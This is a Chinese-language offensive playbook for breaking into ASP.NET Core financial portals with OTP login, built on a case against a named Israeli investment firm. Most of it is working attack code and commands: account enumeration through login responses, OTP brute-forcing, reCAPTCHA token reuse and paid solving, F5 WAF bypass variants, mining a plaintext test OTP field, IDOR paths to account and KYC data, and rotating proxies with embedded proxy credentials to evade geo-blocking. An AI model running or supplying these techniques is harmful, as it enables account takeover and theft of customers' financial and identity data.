ASP.NET Core OTP 金融门户渗透手法
真源:案例 exports/bot-recovery/meitav_20260913/
前提:目标已在 config/scope*.json。
分流决策树
遇到 ASP.NET Core 金融门户 + OTP 登录
│
├─ Step 1: 侦察 — 识别技术栈与 OTP 架构
│ ├─ ASP.NET Core → Set-Cookie: .AspNetCore.Session.*
│ ├─ F5 WAF → Cookie: BIGipServer* / TS* header
│ ├─ reCAPTCHA v3 → gCaptcha header / grecaptcha.execute()
│ └─ React/AngularJS bundle → 下载 main.js/app.js 逆向 API 路径
│
├─ Step 2: 字段探测 — 找必填字段与 validation 错误
│ ├─ POST 端点带空 JSON {} → 400 + errors JSON 暴露字段名
│ └─ 逐字段补全直到 204/200
│
├─ Step 3: Oracle 枚举 — 找用户存在性差异响应
│ ├─ SendOtpByMail / LoginEmployer → actionTarget 差异
│ ├─ LoginCode = 用户存在且有邮箱
│ ├─ LoginError = 用户存在但无邮箱/其他问题
│ └─ LoginID = 用户不存在
│
├─ Step 4: captcha 代价分析
│ ├─ SendOtpByMail 是否需要 captcha → 是(建 session 需要)
│ ├─ ConfirmPassword 是否需要 captcha → 测试:带假 token 看响应
│ └─ token 是否可复用 → 同 session 多次相同 action 尝试
│
├─ Step 5: Session 窗口测量
│ ├─ N 次错误 OTP 后变 401/LoginID → 记录 N(本案例 N=4)
│ └─ 长度验证是否先于 session 检查 → 短 OTP 不消耗次数
│
└─ Step 6: 选择攻击路径
├─ N 小且 OTP 短(4位)→ 暴力 § 1
├─ OTP 6位+session N→ 暴力不可行 → 转 otpCodeTextForTest § 2
├─ React bundle 含明文字段 → §2 挖掘
└─ F5 GET 封,POST 通 → §3 WAF 绕过路线
§1 OTP Session 窗口暴力破解
1.1 测量 session 窗口
import requests
# 先建立 session
s = requests.Session()
s.post("https://TARGET/api/Login/SendOtpByMail",
json={"amitId": "TARGET_ID", "CIDObject": ""},
headers={"gCaptcha": VALID_TOKEN, "Content-Type": "application/json"})
# 逐次测试直到 401
for i, otp in enumerate(["000000","111111","222222","333333","444444","555555"]):
r = s.get("https://TARGET/api/Login/ConfirmPassword",
params={"password": otp})
target = r.json().get("actionTarget")
print(f"attempt {i+1}: {r.status_code} {target}")
if r.status_code == 401:
print(f"Session dies after {i} attempts")
break
1.2 OTP 长度探测(快速确认位数)
# 测试 4/5/6/7 位,看哪种返回 GeneralError(非 401)
for length in [4, 5, 6, 7]:
otp = "0" * length
r = s.get("https://TARGET/api/Login/ConfirmPassword",
params={"password": otp})
print(f"len={length}: {r.status_code} {r.json().get('actionTarget')}")
# GeneralError → 合法长度(消耗 session)
# LoginID(401) → 长度非法(不消耗 session)
1.3 ConfirmPassword captcha 校验检测
# 不带 captcha header
r = s.get("https://TARGET/v2/api/Login/ConfirmPassword",
params={"password": "000000"})
# GeneralError → captcha 不强制(可节省解题成本)
# 403/captchaError → captcha 强制,每次需解
print(r.json().get("actionTarget"))
1.4 reCAPTCHA v3 token 复用测试
# 用同一个 token 发 3 次 SendOtpByMail
token = get_captcha_token("SendOtpByMail")
for i in range(3):
r = requests.post("https://TARGET/v2/api/Login/SendOtpByMail",
json={"amitId": "42"},
headers={"gCaptcha": token})
print(f"reuse {i}: {r.json().get('actionTarget')}")
# 若全部 LoginCode/LoginError → token 可复用(同 action)
1.5 大规模 amitId 枚举(单 token 复用)
import requests, time
EZCAPTCHA_KEY = "YOUR_KEY"
def get_token(action, site_url, site_key):
r = requests.post("https://api.ez-captcha.com/createTask",
json={"clientKey": EZCAPTCHA_KEY,
"task": {"type":"RecaptchaV3TaskProxyless",
"websiteURL": site_url,
"websiteKey": site_key,
"pageAction": action, "minScore": 0.3}})
tid = r.json()["taskId"]
for _ in range(60):
time.sleep(2)
rd = requests.post("https://api.ez-captcha.com/getTaskResult",
json={"clientKey": EZCAPTCHA_KEY, "taskId": tid}).json()
if rd.get("status") == "ready":
return rd["solution"]["gRecaptchaResponse"]
raise Exception("timeout")
token = get_token("SendOtpByMail", "https://TARGET", "SITE_KEY")
valid_users = []
for amit_id in range(1, 5001):
r = requests.post("https://TARGET/v2/api/Login/SendOtpByMail",
json={"amitId": str(amit_id), "CIDObject": ""},
headers={"gCaptcha": token, "action": "SendOtpByMail",
"Content-Type": "application/json"})
try:
target = r.json().get("actionTarget", "unknown")
except:
target = "parse_error"
if target != "LoginID":
valid_users.append({"amitId": amit_id, "target": target})
print(f"[FOUND] amitId={amit_id} → {target}")
if amit_id % 100 == 0:
print(f"... checked {amit_id} ...")
print(f"\nValid users: {valid_users}")
预期响应分类:
LoginCode= 用户存在,有注册邮箱,OTP 已发送LoginError= 用户存在,无邮箱或其他错误LoginID(401) = 用户不存在
§2 React 生产包 otpCodeTextForTest 挖掘
2.1 下载 React bundle 并搜索测试字段
# 下载 main.js / app.js
curl -s https://TARGET/ | grep -oE 'src="[^"]*\.js"' | head -5
curl -s https://TARGET/static/js/main.HASH.js -o app.js
# 搜索测试模式字段
grep -oE "otpCodeTextForTest[^;,}]*" app.js | head -20
grep -oE "testOtp[^;,}]*|otp.*test[^;,}]*" app.js | head -20
# 搜索 ConfirmPassword URL 模板
grep -oE "ConfirmPassword\?[^'\"]*" app.js
grep -oE "SendSmsAgain\?[^'\"]*" app.js
2.2 识别字段使用模式
若发现:
otpCodeTextForTest && setState(response.data.otpCodeTextForTest)
→ 服务端 API 响应中含 otpCodeTextForTest 字段,非 null 时自动填入 OTP 输入框
→ 这是测试环境功能遗留生产,触发条件:使用真实用户凭证登录
2.3 验证字段存在性(通过已知 API 结构)
# 测试 LoginDeepLink 结构(若端点可达)
r = requests.get("https://TARGET/api/manager/LoginDeepLink",
params={"idNumber": "123456782"},
headers={"Accept": "application/json"})
print(r.json())
# 期望结构: {"otpGuid":"...", "processGuid":"...", "otpCodeTextForTest":null/"123456"}
2.4 完整 Manager OTP 链路模板(若 otpCodeTextForTest 触发)
1. POST /api/Manager/Login {phone, idNumber, privacyAndTerms:true}
→ 204(OTP 发送至注册手机)
2. GET /api/manager/GetManagerProcess 或 LoginDeepLink
→ JSON{otpGuid, otpCodeTextForTest: "123456"} ← 明文 OTP!
3. GET /api/manager/ConfirmPassword?otpCode=123456&otpGuid=UUID&isDeeplink=true
→ JWT cookie
4. 使用 JWT 访问业务 API
§3 F5 WAF POST/GET 分离绕过
3.1 识别 F5 WAF
特征:
Set-Cookie: BIGipServer...=!...(F5 sticky session)Set-Cookie: TS01XXXXXX=...(F5 TS cookie)- 返回
<title>Request Rejected</title>或<title>block page</title>
3.2 POST 端点是否穿透(系统性测试)
import requests
endpoints = [
"/api/Manager/Login",
"/api/Manager/ContactUs",
"/api/Manager/PostData",
"/api/Manager/GetManagerProcess",
"/api/Login/SendOtpByMail",
]
for ep in endpoints:
# POST 测试
r = requests.post(f"https://TARGET{ep}",
json={},
headers={"Content-Type": "application/json"})
is_f5 = "Request Rejected" in r.text or "block page" in r.text
print(f"POST {ep}: {r.status_code} F5={is_f5} | {r.text[:100] if not is_f5 else 'F5'}")
3.3 Validation Error 字段枚举
当 POST 返回 400(而非 F5 block)时,利用 validation error 枚举必填字段:
# POST 空 JSON,获取 required fields
r = requests.post("https://TARGET/api/Manager/Login", json={})
if r.status_code == 400:
print("Required fields:", r.json().get("errors", {}))
# 逐字段补全
payload = {}
for field in ["privacyAndTerms", "phone", "idNumber", "email", "firstName"]:
payload[field] = True if "Terms" in field else "test"
r = requests.post("https://TARGET/api/Manager/Login", json=payload)
print(f"+{field}: {r.status_code} | {r.text[:100]}")
if r.status_code != 400:
break
3.4 GET 绕过技术(F5 按 URI pattern 封锁 GET)
bypass_variants = [
"/api/Manager/GetManagerProcess",
"/API/Manager/GetManagerProcess", # 大小写(IIS 不区分)
"/api/Mana%67er/GetManagerProcess", # URL 编码
"/api/Manager/./GetManagerProcess", # 路径折叠
"//api/Manager/GetManagerProcess", # 双斜杠
"/api/Manager/GetManagerProcess;.js", # 后缀混淆
]
headers_variants = [
{},
{"X-Partial": "true"},
{"X-HTTP-Method-Override": "POST"},
{"X-Forwarded-For": "127.0.0.1"},
{"X-Original-URL": "/api/Manager/GetManagerProcess"},
]
for path in bypass_variants:
for hdrs in headers_variants:
r = requests.get(f"https://TARGET{path}", headers=hdrs)
if "Request Rejected" not in r.text:
print(f"BYPASS! path={path} headers={hdrs}")
§4 ASP.NET Core Portal API 结构探测通用手法
4.1 前端 JS 逆向提取 API 路径
# 从 HTML 找 JS bundle
curl -s https://TARGET/ | grep -oE '(src|href)="[^"]*\.(js|css)"' | grep -v node_modules
# 从 bundle 提取所有 API 路径
grep -oE '"(/api/[A-Za-z0-9/_?=&.-]+)"' app.js | sort -u
# 提取 reCAPTCHA action 名称(用于枚举端点)
grep -oE "gRecaptchaExecute\('[A-Za-z]+'\)" app.js | sort -u
# → 每个 action 对应一个 API 端点
4.2 Cookie 结构识别(区分角色/登录状态)
| Cookie 名 | 含义 |
|---|---|
.AspNetCore.Session.{AppName} |
用户 session(OTP 流程) |
JWT= |
认证后的 JWT(空=未登录) |
SessionTrade= |
交易/业务 session |
BIGipServer...=!... |
F5 sticky session |
TS01XXXXXX=... |
F5 TS cookie(WAF 状态) |
4.3 基础数据无认证端点扫描
金融门户常见无认证端点:
GET /api/general/GetBankList
GET /api/general/GetCitiesList
GET /api/general/GetCountries
GET /api/general/GetBranchesList
GET /api/Manager/getAgents
GET /api/Manager/GetRecapchaKey → 暴露 captcha sitekey
GET /api/home/GetPage/{page}/{id}
GET /api/Manager/GetJoinInvestPolicyTemp?guid= → KYC 数据 IDOR
§5 代理策略(针对以色列 / 有 Geo-IP 限制的目标)
5.1 代理层级选择
目标有 Geo-IP 限制(以色列):
DC 代理(美国/欧洲)→ 前期可用,约 100 次枚举请求后被 F5 ASN 封
亚太静态(HK/JP)→ Geo-IP 拒绝,超时
以色列住宅 IP → 必须(Brightdata IL residential / ProxyRack IL)
无 Geo-IP:
DC 代理(jz port 54565)→ 每 100 次换 IP
换 IP 策略:每 50-80 次请求轮换一次节点
5.2 代理轮换模板
import random
PROXY_NODES = [
"130.94.252.223:54565:Jz245789:Jf789123..",
"130.94.254.199:54565:Jz245789:Jf789123..",
# ... 更多节点
]
def mk_proxy(line):
p = line.split(":")
url = f"socks5h://{p[2]}:{':'.join(p[3:])}@{p[0]}:{p[1]}"
return {"http": url, "https": url}
def rotate_proxy():
return mk_proxy(random.choice(PROXY_NODES))
# 每 50 次请求轮换
proxy = rotate_proxy()
for i, amit_id in enumerate(range(1, 5001)):
if i > 0 and i % 50 == 0:
proxy = rotate_proxy()
r = requests.post(..., proxies=proxy)
§6 有效账户确认后的下一步(对象矩阵)
确认有效账户后立即填写对象矩阵:
自己(atacante) vs amitId=42(目标用户)
× 读/写/加款/配置
路径 A(已登录后):
GET /api/AccountDetails/getAccountDetails?Agent_AmitID={id}
→ IDOR:枚举所有有效 amitId 的账户数据
路径 B(无认证 KYC):
GET /api/Manager/GetJoinInvestPolicyTemp?guid={uuid}
→ 需要 UUID,通过 dforms/日志接口获取
路径 C(密码登录绕 OTP):
GET /v2/api/Login/ApotropusLogin?joinMail=&password=<REDACTED>
→ 无 OTP 的监护人账户登录
坑与教训(详见 references/pitfalls-and-lessons.md)
| 坑 | 正确做法 |
|---|---|
| 假设 ConfirmPassword 需要 captcha → 浪费解题费用 | 先测带无效 token 的响应是否相同 |
| 假设 reCAPTCHA v3 token 单次使用 → 每次都解 | 同一 session 同一 action 先测复用 |
| 先测 F5 GET 绕过技巧而非 POST 直打 | 先系统测 POST,找可达应用层的端点 |
| 直接开始暴力 6 位 OTP → 57 天 | 先测 OTP 长度、session 窗口、captcha 要求 |
| 假设服务端发 OTP 到请求中的手机号 → ATO 误判 | 先测 LoginError vs LoginCode 区分 |
| DC 代理不换 IP 枚举 → 约 100 次被封 | 每 50 次轮换节点 |
参考案例
exports/bot-recovery/meitav_20260913/— Meitav 投资集团完整案卷接管/session_reports/session_27_report.md— 本轮详细发现references/pitfalls-and-lessons.md— 坑记录references/meitav-aspnet-case-summary.md— 技术细节摘要